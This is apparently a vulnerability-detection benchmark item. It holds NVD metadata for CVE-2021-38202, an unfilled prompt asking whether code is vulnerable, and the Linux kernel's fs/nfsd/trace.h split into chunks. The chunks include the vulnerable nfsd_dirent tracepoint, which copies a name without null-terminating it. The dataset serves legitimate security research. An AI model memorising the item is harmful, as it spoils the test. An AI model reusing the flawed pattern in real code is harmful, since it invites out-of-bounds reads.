"02DEB4FB-A21D-4CB1-B522-EEE5093E8521", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd."}, {"lang": "es", "value": "El archivo fs/nfsd/trace.h en el kernel de Linux versiones anteriores a 5.13.4, podr\u00eda permitir a atacantes remotos causar una denegaci\u00f3n de servicio (lectura fuera de los l\u00edmites en strlen) mediante el env\u00edo de tr\u00e1fico NFS cuando el marco de eventos de rastreo se est\u00e1 usando para nfsd"}], "evaluatorComment": null, "id": "CVE-2021-38202", "lastModified": "2021-10-07T20:39:27.070", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2021-08-08T20:15:07.180", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List", "Patch", "Vendor Advisory"], "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20210902-0010/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-125"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"}, "type": "CWE-125"}
136
Determine whether the {function_name} code is vulnerable or not.
[ "/* SPDX-License-Identifier: GPL-2.0 */\n/*\n * Copyright (c) 2014 Christoph Hellwig.\n */\n#undef TRACE_SYSTEM\n#define TRACE_SYSTEM nfsd", "#if !defined(_NFSD_TRACE_H) || defined(TRACE_HEADER_MULTI_READ)\n#define _NFSD_TRACE_H", "#include <linux/tracepoint.h>\n#include \"export.h\"\n#include \"nfsfh.h\"", "#define NFSD_TRACE_PROC_ARG_FIELDS \\\n\t\t__field(unsigned int, netns_ino) \\\n\t\t__field(u32, xid) \\\n\t\t__array(unsigned char, server, sizeof(struct sockaddr_in6)) \\\n\t\t__array(unsigned char, client, sizeof(struct sockaddr_in6))", "#define NFSD_TRACE_PROC_ARG_ASSIGNMENTS \\\n\t\tdo { \\\n\t\t\t__entry->netns_ino = SVC_NET(rqstp)->ns.inum; \\\n\t\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid); \\\n\t\t\tmemcpy(__entry->server, &rqstp->rq_xprt->xpt_local, \\\n\t\t\t rqstp->rq_xprt->xpt_locallen); \\\n\t\t\tmemcpy(__entry->client, &rqstp->rq_xprt->xpt_remote, \\\n\t\t\t rqstp->rq_xprt->xpt_remotelen); \\\n\t\t} while (0);", "#define NFSD_TRACE_PROC_RES_FIELDS \\\n\t\t__field(unsigned int, netns_ino) \\\n\t\t__field(u32, xid) \\\n\t\t__field(unsigned long, status) \\\n\t\t__array(unsigned char, server, sizeof(struct sockaddr_in6)) \\\n\t\t__array(unsigned char, client, sizeof(struct sockaddr_in6))", "#define NFSD_TRACE_PROC_RES_ASSIGNMENTS(error) \\\n\t\tdo { \\\n\t\t\t__entry->netns_ino = SVC_NET(rqstp)->ns.inum; \\\n\t\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid); \\\n\t\t\t__entry->status = be32_to_cpu(error); \\\n\t\t\tmemcpy(__entry->server, &rqstp->rq_xprt->xpt_local, \\\n\t\t\t rqstp->rq_xprt->xpt_locallen); \\\n\t\t\tmemcpy(__entry->client, &rqstp->rq_xprt->xpt_remote, \\\n\t\t\t rqstp->rq_xprt->xpt_remotelen); \\\n\t\t} while (0);", "TRACE_EVENT(nfsd_garbage_args_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(rqstp),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_ARG_FIELDS", "\t\t__field(u32, vers)\n\t\t__field(u32, proc)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_ARG_ASSIGNMENTS", "\t\t__entry->vers = rqstp->rq_vers;\n\t\t__entry->proc = rqstp->rq_proc;\n\t),\n\tTP_printk(\"xid=0x%08x vers=%u proc=%u\",\n\t\t__entry->xid, __entry->vers, __entry->proc\n\t)\n);", "TRACE_EVENT(nfsd_cant_encode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(rqstp),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_ARG_FIELDS", "\t\t__field(u32, vers)\n\t\t__field(u32, proc)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_ARG_ASSIGNMENTS", "\t\t__entry->vers = rqstp->rq_vers;\n\t\t__entry->proc = rqstp->rq_proc;\n\t),\n\tTP_printk(\"xid=0x%08x vers=%u proc=%u\",\n\t\t__entry->xid, __entry->vers, __entry->proc\n\t)\n);", "#define show_nfsd_may_flags(x)\t\t\t\t\t\t\\\n\t__print_flags(x, \"|\",\t\t\t\t\t\t\\\n\t\t{ NFSD_MAY_EXEC,\t\t\"EXEC\" },\t\t\\\n\t\t{ NFSD_MAY_WRITE,\t\t\"WRITE\" },\t\t\\\n\t\t{ NFSD_MAY_READ,\t\t\"READ\" },\t\t\\\n\t\t{ NFSD_MAY_SATTR,\t\t\"SATTR\" },\t\t\\\n\t\t{ NFSD_MAY_TRUNC,\t\t\"TRUNC\" },\t\t\\\n\t\t{ NFSD_MAY_LOCK,\t\t\"LOCK\" },\t\t\\\n\t\t{ NFSD_MAY_OWNER_OVERRIDE,\t\"OWNER_OVERRIDE\" },\t\\\n\t\t{ NFSD_MAY_LOCAL_ACCESS,\t\"LOCAL_ACCESS\" },\t\\\n\t\t{ NFSD_MAY_BYPASS_GSS_ON_ROOT,\t\"BYPASS_GSS_ON_ROOT\" },\t\\\n\t\t{ NFSD_MAY_NOT_BREAK_LEASE,\t\"NOT_BREAK_LEASE\" },\t\\\n\t\t{ NFSD_MAY_BYPASS_GSS,\t\t\"BYPASS_GSS\" },\t\t\\\n\t\t{ NFSD_MAY_READ_IF_EXEC,\t\"READ_IF_EXEC\" },\t\\\n\t\t{ NFSD_MAY_64BIT_COOKIE,\t\"64BIT_COOKIE\" })", "TRACE_EVENT(nfsd_compound,\n\tTP_PROTO(const struct svc_rqst *rqst,\n\t\t u32 args_opcnt),\n\tTP_ARGS(rqst, args_opcnt),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, args_opcnt)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqst->rq_xid);\n\t\t__entry->args_opcnt = args_opcnt;\n\t),\n\tTP_printk(\"xid=0x%08x opcnt=%u\",\n\t\t__entry->xid, __entry->args_opcnt)\n)", "TRACE_EVENT(nfsd_compound_status,\n\tTP_PROTO(u32 args_opcnt,\n\t\t u32 resp_opcnt,\n\t\t __be32 status,\n\t\t const char *name),\n\tTP_ARGS(args_opcnt, resp_opcnt, status, name),\n\tTP_STRUCT__entry(\n\t\t__field(u32, args_opcnt)\n\t\t__field(u32, resp_opcnt)\n\t\t__field(int, status)\n\t\t__string(name, name)\n\t),\n\tTP_fast_assign(\n\t\t__entry->args_opcnt = args_opcnt;\n\t\t__entry->resp_opcnt = resp_opcnt;\n\t\t__entry->status = be32_to_cpu(status);\n\t\t__assign_str(name, name);\n\t),\n\tTP_printk(\"op=%u/%u %s status=%d\",\n\t\t__entry->resp_opcnt, __entry->args_opcnt,\n\t\t__get_str(name), __entry->status)\n)", "TRACE_EVENT(nfsd_compound_decode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp,\n\t\tu32 args_opcnt,\n\t\tu32 resp_opcnt,\n\t\tu32 opnum,\n\t\t__be32 status\n\t),\n\tTP_ARGS(rqstp, args_opcnt, resp_opcnt, opnum, status),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_RES_FIELDS", "\t\t__field(u32, args_opcnt)\n\t\t__field(u32, resp_opcnt)\n\t\t__field(u32, opnum)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_RES_ASSIGNMENTS(status)", "\t\t__entry->args_opcnt = args_opcnt;\n\t\t__entry->resp_opcnt = resp_opcnt;\n\t\t__entry->opnum = opnum;\n\t),\n\tTP_printk(\"op=%u/%u opnum=%u status=%lu\",\n\t\t__entry->resp_opcnt, __entry->args_opcnt,\n\t\t__entry->opnum, __entry->status)\n);", "TRACE_EVENT(nfsd_compound_encode_err,\n\tTP_PROTO(\n\t\tconst struct svc_rqst *rqstp,\n\t\tu32 opnum,\n\t\t__be32 status\n\t),\n\tTP_ARGS(rqstp, opnum, status),\n\tTP_STRUCT__entry(\n\t\tNFSD_TRACE_PROC_RES_FIELDS", "\t\t__field(u32, opnum)\n\t),\n\tTP_fast_assign(\n\t\tNFSD_TRACE_PROC_RES_ASSIGNMENTS(status)", "\t\t__entry->opnum = opnum;\n\t),\n\tTP_printk(\"opnum=%u status=%lu\",\n\t\t__entry->opnum, __entry->status)\n);", "\nDECLARE_EVENT_CLASS(nfsd_fh_err_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t int\t\tstatus),\n\tTP_ARGS(rqstp, fhp, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x status=%d\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->status)\n)", "#define DEFINE_NFSD_FH_ERR_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_fh_err_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t int\t\tstatus),\t\\\n\tTP_ARGS(rqstp, fhp, status))", "DEFINE_NFSD_FH_ERR_EVENT(set_fh_dentry_badexport);\nDEFINE_NFSD_FH_ERR_EVENT(set_fh_dentry_badhandle);", "TRACE_EVENT(nfsd_exp_find_key,\n\tTP_PROTO(const struct svc_expkey *key,\n\t\t int status),\n\tTP_ARGS(key, status),\n\tTP_STRUCT__entry(\n\t\t__field(int, fsidtype)\n\t\t__array(u32, fsid, 6)\n\t\t__string(auth_domain, key->ek_client->name)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fsidtype = key->ek_fsidtype;\n\t\tmemcpy(__entry->fsid, key->ek_fsid, 4*6);\n\t\t__assign_str(auth_domain, key->ek_client->name);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"fsid=%x::%s domain=%s status=%d\",\n\t\t__entry->fsidtype,\n\t\t__print_array(__entry->fsid, 6, 4),\n\t\t__get_str(auth_domain),\n\t\t__entry->status\n\t)\n);", "TRACE_EVENT(nfsd_expkey_update,\n\tTP_PROTO(const struct svc_expkey *key, const char *exp_path),\n\tTP_ARGS(key, exp_path),\n\tTP_STRUCT__entry(\n\t\t__field(int, fsidtype)\n\t\t__array(u32, fsid, 6)\n\t\t__string(auth_domain, key->ek_client->name)\n\t\t__string(path, exp_path)\n\t\t__field(bool, cache)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fsidtype = key->ek_fsidtype;\n\t\tmemcpy(__entry->fsid, key->ek_fsid, 4*6);\n\t\t__assign_str(auth_domain, key->ek_client->name);\n\t\t__assign_str(path, exp_path);\n\t\t__entry->cache = !test_bit(CACHE_NEGATIVE, &key->h.flags);\n\t),\n\tTP_printk(\"fsid=%x::%s domain=%s path=%s cache=%s\",\n\t\t__entry->fsidtype,\n\t\t__print_array(__entry->fsid, 6, 4),\n\t\t__get_str(auth_domain),\n\t\t__get_str(path),\n\t\t__entry->cache ? \"pos\" : \"neg\"\n\t)\n);", "TRACE_EVENT(nfsd_exp_get_by_name,\n\tTP_PROTO(const struct svc_export *key,\n\t\t int status),\n\tTP_ARGS(key, status),\n\tTP_STRUCT__entry(\n\t\t__string(path, key->ex_path.dentry->d_name.name)\n\t\t__string(auth_domain, key->ex_client->name)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__assign_str(path, key->ex_path.dentry->d_name.name);\n\t\t__assign_str(auth_domain, key->ex_client->name);\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"path=%s domain=%s status=%d\",\n\t\t__get_str(path),\n\t\t__get_str(auth_domain),\n\t\t__entry->status\n\t)\n);", "TRACE_EVENT(nfsd_export_update,\n\tTP_PROTO(const struct svc_export *key),\n\tTP_ARGS(key),\n\tTP_STRUCT__entry(\n\t\t__string(path, key->ex_path.dentry->d_name.name)\n\t\t__string(auth_domain, key->ex_client->name)\n\t\t__field(bool, cache)\n\t),\n\tTP_fast_assign(\n\t\t__assign_str(path, key->ex_path.dentry->d_name.name);\n\t\t__assign_str(auth_domain, key->ex_client->name);\n\t\t__entry->cache = !test_bit(CACHE_NEGATIVE, &key->h.flags);\n\t),\n\tTP_printk(\"path=%s domain=%s cache=%s\",\n\t\t__get_str(path),\n\t\t__get_str(auth_domain),\n\t\t__entry->cache ? \"pos\" : \"neg\"\n\t)\n);", "DECLARE_EVENT_CLASS(nfsd_io_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t loff_t\t\toffset,\n\t\t unsigned long\tlen),\n\tTP_ARGS(rqstp, fhp, offset, len),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(loff_t, offset)\n\t\t__field(unsigned long, len)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->offset = offset;\n\t\t__entry->len = len;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x offset=%lld len=%lu\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->offset, __entry->len)\n)", "#define DEFINE_NFSD_IO_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_io_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t loff_t\t\toffset,\t\t\\\n\t\t unsigned long\tlen),\t\t\\\n\tTP_ARGS(rqstp, fhp, offset, len))", "DEFINE_NFSD_IO_EVENT(read_start);\nDEFINE_NFSD_IO_EVENT(read_splice);\nDEFINE_NFSD_IO_EVENT(read_vector);\nDEFINE_NFSD_IO_EVENT(read_io_done);\nDEFINE_NFSD_IO_EVENT(read_done);\nDEFINE_NFSD_IO_EVENT(write_start);\nDEFINE_NFSD_IO_EVENT(write_opened);\nDEFINE_NFSD_IO_EVENT(write_io_done);\nDEFINE_NFSD_IO_EVENT(write_done);", "DECLARE_EVENT_CLASS(nfsd_err_class,\n\tTP_PROTO(struct svc_rqst *rqstp,\n\t\t struct svc_fh\t*fhp,\n\t\t loff_t\t\toffset,\n\t\t int\t\tstatus),\n\tTP_ARGS(rqstp, fhp, offset, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(u32, fh_hash)\n\t\t__field(loff_t, offset)\n\t\t__field(int, status)\n\t),\n\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->fh_hash = knfsd_fh_hash(&fhp->fh_handle);\n\t\t__entry->offset = offset;\n\t\t__entry->status = status;\n\t),\n\tTP_printk(\"xid=0x%08x fh_hash=0x%08x offset=%lld status=%d\",\n\t\t __entry->xid, __entry->fh_hash,\n\t\t __entry->offset, __entry->status)\n)", "#define DEFINE_NFSD_ERR_EVENT(name)\t\t\\\nDEFINE_EVENT(nfsd_err_class, nfsd_##name,\t\\\n\tTP_PROTO(struct svc_rqst *rqstp,\t\\\n\t\t struct svc_fh\t*fhp,\t\t\\\n\t\t loff_t\t\toffset,\t\t\\\n\t\t int\t\tlen),\t\t\\\n\tTP_ARGS(rqstp, fhp, offset, len))", "DEFINE_NFSD_ERR_EVENT(read_err);\nDEFINE_NFSD_ERR_EVENT(write_err);", "TRACE_EVENT(nfsd_dirent,\n\tTP_PROTO(struct svc_fh *fhp,\n\t\t u64 ino,\n\t\t const char *name,\n\t\t int namlen),\n\tTP_ARGS(fhp, ino, name, namlen),\n\tTP_STRUCT__entry(\n\t\t__field(u32, fh_hash)\n\t\t__field(u64, ino)\n\t\t__field(int, len)\n\t\t__dynamic_array(unsigned char, name, namlen)\n\t),\n\tTP_fast_assign(\n\t\t__entry->fh_hash = fhp ? knfsd_fh_hash(&fhp->fh_handle) : 0;\n\t\t__entry->ino = ino;\n\t\t__entry->len = namlen;\n\t\tmemcpy(__get_str(name), name, namlen);", "", "\t),\n\tTP_printk(\"fh_hash=0x%08x ino=%llu name=%.*s\",\n\t\t__entry->fh_hash, __entry->ino,\n\t\t__entry->len, __get_str(name))\n)", "#include \"state.h\"\n#include \"filecache.h\"\n#include \"vfs.h\"", "DECLARE_EVENT_CLASS(nfsd_stateid_class,\n\tTP_PROTO(stateid_t *stp),\n\tTP_ARGS(stp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t),\n\tTP_printk(\"client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->cl_boot,\n\t\t__entry->cl_id,\n\t\t__entry->si_id,\n\t\t__entry->si_generation)\n)", "#define DEFINE_STATEID_EVENT(name) \\\nDEFINE_EVENT(nfsd_stateid_class, nfsd_##name, \\\n\tTP_PROTO(stateid_t *stp), \\\n\tTP_ARGS(stp))", "DEFINE_STATEID_EVENT(layoutstate_alloc);\nDEFINE_STATEID_EVENT(layoutstate_unhash);\nDEFINE_STATEID_EVENT(layoutstate_free);\nDEFINE_STATEID_EVENT(layout_get_lookup_fail);\nDEFINE_STATEID_EVENT(layout_commit_lookup_fail);\nDEFINE_STATEID_EVENT(layout_return_lookup_fail);\nDEFINE_STATEID_EVENT(layout_recall);\nDEFINE_STATEID_EVENT(layout_recall_done);\nDEFINE_STATEID_EVENT(layout_recall_fail);\nDEFINE_STATEID_EVENT(layout_recall_release);", "DEFINE_STATEID_EVENT(open);\nDEFINE_STATEID_EVENT(deleg_read);\nDEFINE_STATEID_EVENT(deleg_recall);", "DECLARE_EVENT_CLASS(nfsd_stateseqid_class,\n\tTP_PROTO(u32 seqid, const stateid_t *stp),\n\tTP_ARGS(seqid, stp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, seqid)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t),\n\tTP_fast_assign(\n\t\t__entry->seqid = seqid;\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t),\n\tTP_printk(\"seqid=%u client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->seqid, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation)\n)", "#define DEFINE_STATESEQID_EVENT(name) \\\nDEFINE_EVENT(nfsd_stateseqid_class, nfsd_##name, \\\n\tTP_PROTO(u32 seqid, const stateid_t *stp), \\\n\tTP_ARGS(seqid, stp))", "DEFINE_STATESEQID_EVENT(preprocess);\nDEFINE_STATESEQID_EVENT(open_confirm);", "DECLARE_EVENT_CLASS(nfsd_clientid_class,\n\tTP_PROTO(const clientid_t *clid),\n\tTP_ARGS(clid),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clid->cl_boot;\n\t\t__entry->cl_id = clid->cl_id;\n\t),\n\tTP_printk(\"client %08x:%08x\", __entry->cl_boot, __entry->cl_id)\n)", "#define DEFINE_CLIENTID_EVENT(name) \\\nDEFINE_EVENT(nfsd_clientid_class, nfsd_clid_##name, \\\n\tTP_PROTO(const clientid_t *clid), \\\n\tTP_ARGS(clid))", "DEFINE_CLIENTID_EVENT(expire_unconf);\nDEFINE_CLIENTID_EVENT(reclaim_complete);\nDEFINE_CLIENTID_EVENT(confirmed);\nDEFINE_CLIENTID_EVENT(destroyed);\nDEFINE_CLIENTID_EVENT(admin_expired);\nDEFINE_CLIENTID_EVENT(replaced);\nDEFINE_CLIENTID_EVENT(purged);\nDEFINE_CLIENTID_EVENT(renew);\nDEFINE_CLIENTID_EVENT(stale);", "DECLARE_EVENT_CLASS(nfsd_net_class,\n\tTP_PROTO(const struct nfsd_net *nn),\n\tTP_ARGS(nn),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t),\n\tTP_printk(\"boot_time=%16llx\", __entry->boot_time)\n)", "#define DEFINE_NET_EVENT(name) \\\nDEFINE_EVENT(nfsd_net_class, nfsd_##name, \\\n\tTP_PROTO(const struct nfsd_net *nn), \\\n\tTP_ARGS(nn))", "DEFINE_NET_EVENT(grace_start);\nDEFINE_NET_EVENT(grace_complete);", "TRACE_EVENT(nfsd_clid_cred_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(clp, rqstp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(unsigned long, cl_flavor)\n\t\t__field(unsigned long, new_flavor)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->cl_flavor = clp->cl_cred.cr_flavor;\n\t\t__entry->new_flavor = rqstp->rq_cred.cr_flavor;\n\t\tmemcpy(__entry->addr, &rqstp->rq_xprt->xpt_remote,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"client %08x:%08x flavor=%s, conflict=%s from addr=%pISpc\",\n\t\t__entry->cl_boot, __entry->cl_id,\n\t\tshow_nfsd_authflavor(__entry->cl_flavor),\n\t\tshow_nfsd_authflavor(__entry->new_flavor), __entry->addr\n\t)\n)", "TRACE_EVENT(nfsd_clid_verf_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct svc_rqst *rqstp,\n\t\tconst nfs4_verifier *verf\n\t),\n\tTP_ARGS(clp, rqstp, verf),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, cl_verifier, NFS4_VERIFIER_SIZE)\n\t\t__array(unsigned char, new_verifier, NFS4_VERIFIER_SIZE)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->cl_verifier, (void *)&clp->cl_verifier,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__entry->new_verifier, (void *)verf,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__entry->addr, &rqstp->rq_xprt->xpt_remote,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"client %08x:%08x verf=0x%s, updated=0x%s from addr=%pISpc\",\n\t\t__entry->cl_boot, __entry->cl_id,\n\t\t__print_hex_str(__entry->cl_verifier, NFS4_VERIFIER_SIZE),\n\t\t__print_hex_str(__entry->new_verifier, NFS4_VERIFIER_SIZE),\n\t\t__entry->addr\n\t)\n);", "DECLARE_EVENT_CLASS(nfsd_clid_class,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t\t__field(unsigned long, flavor)\n\t\t__array(unsigned char, verifier, NFS4_VERIFIER_SIZE)\n\t\t__dynamic_array(char, name, clp->cl_name.len + 1)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t\t__entry->flavor = clp->cl_cred.cr_flavor;\n\t\tmemcpy(__entry->verifier, (void *)&clp->cl_verifier,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__get_str(name), clp->cl_name.data, clp->cl_name.len);\n\t\t__get_str(name)[clp->cl_name.len] = '\\0';\n\t),\n\tTP_printk(\"addr=%pISpc name='%s' verifier=0x%s flavor=%s client=%08x:%08x\",\n\t\t__entry->addr, __get_str(name),\n\t\t__print_hex_str(__entry->verifier, NFS4_VERIFIER_SIZE),\n\t\tshow_nfsd_authflavor(__entry->flavor),\n\t\t__entry->cl_boot, __entry->cl_id)\n);", "#define DEFINE_CLID_EVENT(name) \\\nDEFINE_EVENT(nfsd_clid_class, nfsd_clid_##name, \\\n\tTP_PROTO(const struct nfs4_client *clp), \\\n\tTP_ARGS(clp))", "DEFINE_CLID_EVENT(fresh);\nDEFINE_CLID_EVENT(confirmed_r);", "/*\n * from fs/nfsd/filecache.h\n */\nTRACE_DEFINE_ENUM(NFSD_FILE_HASHED);\nTRACE_DEFINE_ENUM(NFSD_FILE_PENDING);\nTRACE_DEFINE_ENUM(NFSD_FILE_BREAK_READ);\nTRACE_DEFINE_ENUM(NFSD_FILE_BREAK_WRITE);\nTRACE_DEFINE_ENUM(NFSD_FILE_REFERENCED);", "#define show_nf_flags(val)\t\t\t\t\t\t\\\n\t__print_flags(val, \"|\",\t\t\t\t\t\t\\\n\t\t{ 1 << NFSD_FILE_HASHED,\t\"HASHED\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_PENDING,\t\"PENDING\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_BREAK_READ,\t\"BREAK_READ\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_BREAK_WRITE,\t\"BREAK_WRITE\" },\t\\\n\t\t{ 1 << NFSD_FILE_REFERENCED,\t\"REFERENCED\"})", "DECLARE_EVENT_CLASS(nfsd_file_class,\n\tTP_PROTO(struct nfsd_file *nf),\n\tTP_ARGS(nf),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned int, nf_hashval)\n\t\t__field(void *, nf_inode)\n\t\t__field(int, nf_ref)\n\t\t__field(unsigned long, nf_flags)\n\t\t__field(unsigned char, nf_may)\n\t\t__field(struct file *, nf_file)\n\t),\n\tTP_fast_assign(\n\t\t__entry->nf_hashval = nf->nf_hashval;\n\t\t__entry->nf_inode = nf->nf_inode;\n\t\t__entry->nf_ref = refcount_read(&nf->nf_ref);\n\t\t__entry->nf_flags = nf->nf_flags;\n\t\t__entry->nf_may = nf->nf_may;\n\t\t__entry->nf_file = nf->nf_file;\n\t),\n\tTP_printk(\"hash=0x%x inode=%p ref=%d flags=%s may=%s file=%p\",\n\t\t__entry->nf_hashval,\n\t\t__entry->nf_inode,\n\t\t__entry->nf_ref,\n\t\tshow_nf_flags(__entry->nf_flags),\n\t\tshow_nfsd_may_flags(__entry->nf_may),\n\t\t__entry->nf_file)\n)", "#define DEFINE_NFSD_FILE_EVENT(name) \\\nDEFINE_EVENT(nfsd_file_class, name, \\\n\tTP_PROTO(struct nfsd_file *nf), \\\n\tTP_ARGS(nf))", 